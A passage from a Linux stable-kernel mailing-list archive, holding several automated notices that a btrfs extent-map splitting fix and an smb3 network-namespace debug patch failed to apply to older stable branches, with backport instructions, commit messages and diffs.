83cf709a89fb ("btrfs: move extent state init and alloc functions to their own file")
c45379a20fbc ("btrfs: temporarily export alloc_extent_state helpers")
a40246e8afc0 ("btrfs: separate out the eb and extent state leak helpers")
a62a3bd9546b ("btrfs: separate out the extent state and extent buffer init code")
87c11705cc94 ("btrfs: convert the io_failure_tree to a plain rb_tree")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c962098ca4af146f2625ed64399926a098752c9c Mon Sep 17 00:00:00 2001
From: Josef Bacik <josef(a)toxicpanda.com>
Date: Thu, 17 Aug 2023 16:57:30 -0400
Subject: [PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.
Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable(a)vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana(a)suse.com>
Signed-off-by: Josef Bacik <josef(a)toxicpanda.com>
Signed-off-by: David Sterba <dsterba(a)suse.com>
diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c
index 0cdb3e86f29b..a6d8368ed0ed 100644
--- a/fs/btrfs/extent_map.c
+++ b/fs/btrfs/extent_map.c
@@ -760,8 +760,6 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (skip_pinned && test_bit(EXTENT_FLAG_PINNED, &em->flags)) {
start = em_end;
- if (end != (u64)-1)
- len = start + len - em_end;
goto next;
}
@@ -829,8 +827,8 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (!split)
goto remove_em;
}
- split->start = start + len;
- split->len = em_end - (start + len);
+ split->start = end;
+ split->len = em_end - end;
split->block_start = em->block_start;
split->flags = flags;
split->compress_type = em->compress_type;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x c962098ca4af146f2625ed64399926a098752c9c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082058-overture-sneeze-6ada@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
c962098ca4af ("btrfs: fix incorrect splitting in btrfs_drop_extent_map_range")
db21370bffbc ("btrfs: drop extent map range more efficiently")
f3109e33bb0a ("btrfs: use extent_map_end() at btrfs_drop_extent_map_range()")
4c0c8cfc8433 ("btrfs: move btrfs_drop_extent_cache() to extent_map.c")
cef7820d6abf ("btrfs: fix missed extent on fsync after dropping extent maps")
570eb97bace8 ("btrfs: unify the lock/unlock extent variants")
dbbf49928f2e ("btrfs: remove the wake argument from clear_extent_bits")
e3974c669472 ("btrfs: move core extent_io_tree functions to extent-io-tree.c")
38830018387e ("btrfs: move a few exported extent_io_tree helpers to extent-io-tree.c")
04eba8932392 ("btrfs: temporarily export and then move extent state helpers")
91af24e48474 ("btrfs: temporarily export and move core extent_io_tree tree functions")
6962541e964f ("btrfs: move btrfs_debug_check_extent_io_range into extent-io-tree.c")
ec39e39bbf97 ("btrfs: export wait_extent_bit")
a66318872c41 ("btrfs: move simple extent bit helpers out of extent_io.c")
ad795329574c ("btrfs: convert BUG_ON(EXTENT_BIT_LOCKED) checks to ASSERT's")
83cf709a89fb ("btrfs: move extent state init and alloc functions to their own file")
c45379a20fbc ("btrfs: temporarily export alloc_extent_state helpers")
a40246e8afc0 ("btrfs: separate out the eb and extent state leak helpers")
a62a3bd9546b ("btrfs: separate out the extent state and extent buffer init code")
87c11705cc94 ("btrfs: convert the io_failure_tree to a plain rb_tree")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c962098ca4af146f2625ed64399926a098752c9c Mon Sep 17 00:00:00 2001
From: Josef Bacik <josef(a)toxicpanda.com>
Date: Thu, 17 Aug 2023 16:57:30 -0400
Subject: [PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.
Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable(a)vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana(a)suse.com>
Signed-off-by: Josef Bacik <josef(a)toxicpanda.com>
Signed-off-by: David Sterba <dsterba(a)suse.com>
diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c
index 0cdb3e86f29b..a6d8368ed0ed 100644
--- a/fs/btrfs/extent_map.c
+++ b/fs/btrfs/extent_map.c
@@ -760,8 +760,6 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (skip_pinned && test_bit(EXTENT_FLAG_PINNED, &em->flags)) {
start = em_end;
- if (end != (u64)-1)
- len = start + len - em_end;
goto next;
}
@@ -829,8 +827,8 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (!split)
goto remove_em;
}
- split->start = start + len;
- split->len = em_end - (start + len);
+ split->start = end;
+ split->len = em_end - end;
split->block_start = em->block_start;
split->flags = flags;
split->compress_type = em->compress_type;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x c962098ca4af146f2625ed64399926a098752c9c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082057-gating-hankering-1cda@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
c962098ca4af ("btrfs: fix incorrect splitting in btrfs_drop_extent_map_range")
db21370bffbc ("btrfs: drop extent map range more efficiently")
f3109e33bb0a ("btrfs: use extent_map_end() at btrfs_drop_extent_map_range()")
4c0c8cfc8433 ("btrfs: move btrfs_drop_extent_cache() to extent_map.c")
cef7820d6abf ("btrfs: fix missed extent on fsync after dropping extent maps")
570eb97bace8 ("btrfs: unify the lock/unlock extent variants")
dbbf49928f2e ("btrfs: remove the wake argument from clear_extent_bits")
e3974c669472 ("btrfs: move core extent_io_tree functions to extent-io-tree.c")
38830018387e ("btrfs: move a few exported extent_io_tree helpers to extent-io-tree.c")
04eba8932392 ("btrfs: temporarily export and then move extent state helpers")
91af24e48474 ("btrfs: temporarily export and move core extent_io_tree tree functions")
6962541e964f ("btrfs: move btrfs_debug_check_extent_io_range into extent-io-tree.c")
ec39e39bbf97 ("btrfs: export wait_extent_bit")
a66318872c41 ("btrfs: move simple extent bit helpers out of extent_io.c")
ad795329574c ("btrfs: convert BUG_ON(EXTENT_BIT_LOCKED) checks to ASSERT's")
83cf709a89fb ("btrfs: move extent state init and alloc functions to their own file")
c45379a20fbc ("btrfs: temporarily export alloc_extent_state helpers")
a40246e8afc0 ("btrfs: separate out the eb and extent state leak helpers")
a62a3bd9546b ("btrfs: separate out the extent state and extent buffer init code")
87c11705cc94 ("btrfs: convert the io_failure_tree to a plain rb_tree")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c962098ca4af146f2625ed64399926a098752c9c Mon Sep 17 00:00:00 2001
From: Josef Bacik <josef(a)toxicpanda.com>
Date: Thu, 17 Aug 2023 16:57:30 -0400
Subject: [PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.
Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable(a)vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana(a)suse.com>
Signed-off-by: Josef Bacik <josef(a)toxicpanda.com>
Signed-off-by: David Sterba <dsterba(a)suse.com>
diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c
index 0cdb3e86f29b..a6d8368ed0ed 100644
--- a/fs/btrfs/extent_map.c
+++ b/fs/btrfs/extent_map.c
@@ -760,8 +760,6 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (skip_pinned && test_bit(EXTENT_FLAG_PINNED, &em->flags)) {
start = em_end;
- if (end != (u64)-1)
- len = start + len - em_end;
goto next;
}
@@ -829,8 +827,8 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (!split)
goto remove_em;
}
- split->start = start + len;
- split->len = em_end - (start + len);
+ split->start = end;
+ split->len = em_end - end;
split->block_start = em->block_start;
split->flags = flags;
split->compress_type = em->compress_type;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x c962098ca4af146f2625ed64399926a098752c9c
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082055-raffle-skinning-b3e8@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
c962098ca4af ("btrfs: fix incorrect splitting in btrfs_drop_extent_map_range")
db21370bffbc ("btrfs: drop extent map range more efficiently")
f3109e33bb0a ("btrfs: use extent_map_end() at btrfs_drop_extent_map_range()")
4c0c8cfc8433 ("btrfs: move btrfs_drop_extent_cache() to extent_map.c")
cef7820d6abf ("btrfs: fix missed extent on fsync after dropping extent maps")
570eb97bace8 ("btrfs: unify the lock/unlock extent variants")
dbbf49928f2e ("btrfs: remove the wake argument from clear_extent_bits")
e3974c669472 ("btrfs: move core extent_io_tree functions to extent-io-tree.c")
38830018387e ("btrfs: move a few exported extent_io_tree helpers to extent-io-tree.c")
04eba8932392 ("btrfs: temporarily export and then move extent state helpers")
91af24e48474 ("btrfs: temporarily export and move core extent_io_tree tree functions")
6962541e964f ("btrfs: move btrfs_debug_check_extent_io_range into extent-io-tree.c")
ec39e39bbf97 ("btrfs: export wait_extent_bit")
a66318872c41 ("btrfs: move simple extent bit helpers out of extent_io.c")
ad795329574c ("btrfs: convert BUG_ON(EXTENT_BIT_LOCKED) checks to ASSERT's")
83cf709a89fb ("btrfs: move extent state init and alloc functions to their own file")
c45379a20fbc ("btrfs: temporarily export alloc_extent_state helpers")
a40246e8afc0 ("btrfs: separate out the eb and extent state leak helpers")
a62a3bd9546b ("btrfs: separate out the extent state and extent buffer init code")
87c11705cc94 ("btrfs: convert the io_failure_tree to a plain rb_tree")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c962098ca4af146f2625ed64399926a098752c9c Mon Sep 17 00:00:00 2001
From: Josef Bacik <josef(a)toxicpanda.com>
Date: Thu, 17 Aug 2023 16:57:30 -0400
Subject: [PATCH] btrfs: fix incorrect splitting in btrfs_drop_extent_map_range
In production we were seeing a variety of WARN_ON()'s in the extent_map
code, specifically in btrfs_drop_extent_map_range() when we have to call
add_extent_mapping() for our second split.
Consider the following extent map layout
PINNED
[0 16K) [32K, 48K)
and then we call btrfs_drop_extent_map_range for [0, 36K), with
skip_pinned == true. The initial loop will have
start = 0
end = 36K
len = 36K
we will find the [0, 16k) extent, but since we are pinned we will skip
it, which has this code
start = em_end;
if (end != (u64)-1)
len = start + len - em_end;
em_end here is 16K, so now the values are
start = 16K
len = 16K + 36K - 16K = 36K
len should instead be 20K. This is a problem when we find the next
extent at [32K, 48K), we need to split this extent to leave [36K, 48k),
however the code for the split looks like this
split->start = start + len;
split->len = em_end - (start + len);
In this case we have
em_end = 48K
split->start = 16K + 36K // this should be 16K + 20K
split->len = 48K - (16K + 36K) // this overflows as 16K + 36K is 52K
and now we have an invalid extent_map in the tree that potentially
overlaps other entries in the extent map. Even in the non-overlapping
case we will have split->start set improperly, which will cause problems
with any block related calculations.
We don't actually need len in this loop, we can simply use end as our
end point, and only adjust start up when we find a pinned extent we need
to skip.
Adjust the logic to do this, which keeps us from inserting an invalid
extent map.
We only skip_pinned in the relocation case, so this is relatively rare,
except in the case where you are running relocation a lot, which can
happen with auto relocation on.
Fixes: 55ef68990029 ("Btrfs: Fix btrfs_drop_extent_cache for skip pinned case")
CC: stable(a)vger.kernel.org # 4.14+
Reviewed-by: Filipe Manana <fdmanana(a)suse.com>
Signed-off-by: Josef Bacik <josef(a)toxicpanda.com>
Signed-off-by: David Sterba <dsterba(a)suse.com>
diff --git a/fs/btrfs/extent_map.c b/fs/btrfs/extent_map.c
index 0cdb3e86f29b..a6d8368ed0ed 100644
--- a/fs/btrfs/extent_map.c
+++ b/fs/btrfs/extent_map.c
@@ -760,8 +760,6 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (skip_pinned && test_bit(EXTENT_FLAG_PINNED, &em->flags)) {
start = em_end;
- if (end != (u64)-1)
- len = start + len - em_end;
goto next;
}
@@ -829,8 +827,8 @@ void btrfs_drop_extent_map_range(struct btrfs_inode *inode, u64 start, u64 end,
if (!split)
goto remove_em;
}
- split->start = start + len;
- split->len = em_end - (start + len);
+ split->start = end;
+ split->len = em_end - end;
split->block_start = em->block_start;
split->flags = flags;
split->compress_type = em->compress_type;
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 4.14-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.14-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.14.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082058-untamed-discharge-d6ff@gregkh' --subject-prefix 'PATCH 4.14.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 4.19-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 4.19-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-4.19.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082056-gesture-daisy-bf13@gregkh' --subject-prefix 'PATCH 4.19.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+
if (server->leaf_fullpath) {
seq_printf(m, "\nDFS leaf full path: %s",
server->leaf_fullpath);
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] smb3: display network namespace in debug information" failed to apply to 5.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.4.y
git checkout FETCH_HEAD
git cherry-pick -x 7b38f6ddc97bf572c3422d3175e8678dd95502fa
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082055-work-roster-0881@gregkh' --subject-prefix 'PATCH 5.4.y' HEAD^..
Possible dependencies:
7b38f6ddc97b ("smb3: display network namespace in debug information")
3ae872de4107 ("smb: client: fix shared DFS root mounts with different prefixes")
38c8a9a52082 ("smb: move client and server files to common directory fs/smb")
72a7804a667e ("cifs: fix smb1 mount regression")
8e3554150d6c ("cifs: fix sharing of DFS connections")
3dc9c433c9dd ("cifs: protect access of TCP_Server_Info::{origin,leaf}_fullpath")
ee20d7c61007 ("cifs: fix potential race when tree connecting ipc")
d5a863a153e9 ("cifs: avoid dup prefix path in dfs_get_automount_devname()")
2f4e429c8469 ("cifs: lock chan_lock outside match_session")
396935de1455 ("cifs: fix use-after-free bug in refresh_cache_worker()")
b56bce502f55 ("cifs: set DFS root session in cifs_get_smb_ses()")
b9ee2e307c6b ("cifs: improve checking of DFS links over STATUS_OBJECT_NAME_INVALID")
9e6002c8738a ("cifs: ignore ipc reconnect failures during dfs failover")
7ad54b98fc1f ("cifs: use origin fullpath for automounts")
466611e4af82 ("cifs: fix source pathname comparison of dfs supers")
1d04a6fe75ee ("cifs: don't block in dfs_cache_noreq_update_tgthint()")
6916881f443f ("cifs: fix refresh of cached referrals")
cb3f6d876452 ("cifs: don't refresh cached referrals from unactive mounts")
a1c0d00572fc ("cifs: share dfs connections and supers")
a73a26d97eca ("cifs: split out ses and tcon retrieval from mount_get_conns()")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 7b38f6ddc97bf572c3422d3175e8678dd95502fa Mon Sep 17 00:00:00 2001
From: Steve French <stfrench(a)microsoft.com>
Date: Thu, 10 Aug 2023 21:41:03 -0500
Subject: [PATCH] smb3: display network namespace in debug information
We recently had problems where a network namespace was deleted
causing hard to debug reconnect problems. To help deal with
configuration issues like this it is useful to dump the network
namespace to better debug what happened.
So add this to information displayed in /proc/fs/cifs/DebugData for
the server (and channels if mounted with multichannel). For example:
Local Users To Server: 1 SecMode: 0x1 Req On Wire: 0 Net namespace: 4026531840
This can be easily compared with what is displayed for the
processes on the system. For example /proc/1/ns/net in this case
showed the same thing (see below), and we can see that the namespace
is still valid in this example.
'net:[4026531840]'
Cc: stable(a)vger.kernel.org
Acked-by: Paulo Alcantara (SUSE) <pc(a)manguebit.com>
Signed-off-by: Steve French <stfrench(a)microsoft.com>
diff --git a/fs/smb/client/cifs_debug.c b/fs/smb/client/cifs_debug.c
index fb4162a52844..aec6e9137474 100644
--- a/fs/smb/client/cifs_debug.c
+++ b/fs/smb/client/cifs_debug.c
@@ -153,6 +153,11 @@ cifs_dump_channel(struct seq_file *m, int i, struct cifs_chan *chan)
in_flight(server),
atomic_read(&server->in_send),
atomic_read(&server->num_waiters));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
+
}
static inline const char *smb_speed_to_str(size_t bps)
@@ -430,10 +435,15 @@ static int cifs_debug_data_proc_show(struct seq_file *m, void *v)
server->reconnect_instance,
server->srv_count,
server->sec_mode, in_flight(server));
+#ifdef CONFIG_NET_NS
+ if (server->net)
+ seq_printf(m, " Net namespace: %u ", server->net->ns.inum);
+#endif /* NET_NS */
seq_printf(m, "\nIn Send: %d In MaxReq Wait: %d",
